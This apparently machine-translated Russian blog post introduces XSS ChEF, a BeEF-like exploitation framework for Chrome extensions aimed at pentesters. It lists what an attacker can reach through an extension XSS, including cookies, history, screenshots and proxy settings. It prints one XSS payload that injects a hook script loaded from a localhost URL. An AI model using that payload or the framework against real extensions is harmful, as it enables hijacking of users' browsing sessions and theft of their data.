Статьи

XSS ChEF: среда разработки расширений Chrome


Недавно я был занят своим новым маленьким проектом.
То, что начиналось как доказательство концепции, внезапно стало достаточно хорошим, чтобы
продемонстрировать это с Кайлом Осборном в BlackHat , поэтому я решил, что мог бы просто представить это и здесь;)

Зомбирующий сигнал (1)

Что вы делаете, когда вы найдете XSS на сайте?
оповещение (1) конечно. Вместо этого вы можете попытаться сделать из этого нечто большее. У вас есть несколько вариантов:

  • Если вы Сэми , вы пишете червя  (и в ответ вы почти отправляетесь в тюрьму, потому что червь настолько успешен)
  • Если вы плохой парень , вы перенаправляете на набор эксплойтов. 
  • Если вы пентестер — вы можете использовать этот XSS для дальнейшей эксплуатации.

Давайте сосредоточимся на этом последнем случае — вы хотите использовать приложение. Вы можете сделать это вручную с помощью некоторого JS-кода, созданного вручную, вы можете использовать различные библиотеки с готовыми функциями 
(например,
XSS-Track
), или вы можете внедрить ловушку BeEF и сделать тестируемое приложение готовым к получению команд от зомби-мастера ( т.е. ты ). BeEF, вероятно, так же хорош, как и в случае использования XSS на веб-страницах.

Расширения Chrome также являются веб-приложениями!

Расширения Chrome — это, в основном, только приложения HTML5, и они могут страдать от стандартных веб-уязвимостей ( 
 подробнее см.
Наш технический документ BlackHat: 
Расширенное использование расширений Chrome: использование возможностей API для Better Evil ). 
Среди них наш любимый 
XSS
. Да, как оказалось, уязвимости XSS в расширениях Chrome довольно распространены (опять же — см. Технический документ).

Использование XSS в расширениях Chrome намного круче, поскольку у них
гораздо больше возможностей, чем у стандартных веб-страниц. В зависимости от разрешений, объявленных в
манифесте , они могут:

  • получать содержимое каждой страницы, которую вы посещаете (и URL-адреса, которые вы посещаете в режиме инкогнито)
  • выполнить JS в контексте каждого веб-сайта (Global XSS)
  • делать скриншоты вкладок вашего браузера
  • отслеживать и изменять историю просмотров и файлы cookie (даже httpOnly!)
  • получить доступ к вашим закладкам
  • даже изменить настройки прокси

И, как только вы получите XSS, вы можете выполнить все вышеперечисленное в своей полезной нагрузке.
Как только вы узнаете подробности об асинхронных
API-интерфейсах
Chrome. * .

Но это так громоздко!

Да, я знаю. И я тоже ленив, поэтому я создал инструмент под названием XSS CheF — Chrome Extension Exploitation Framework, который делает всю работу за меня. Это в основном BeEF-эквивалент для расширений Chrome. Итак, как только вы обнаружили XSS-уязвимость в расширении Chrome, вы можете просто добавить полезную нагрузку следующим образом:

<img src=x onerror="if(location.protocol.indexOf('chrome')==0){
d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php';
d.body.appendChild(e);}">

Чтобы получить полный контроль над всей сессией просмотра через консоль злоумышленника.
Приставка
XSS ChEF
разработан с нуля для использования расширений. Это быстро (благодаря использованию WebSockets) и поставляется
с автоматическими сценариями атаки:

Скачать

XSS ChEF доступен на GitHub под лицензией GPLv3. Как всегда — клонируйте, скачайте, протестируйте и дайте мне знать, как вы к этому относитесь. Предложения и предложения приветствуются.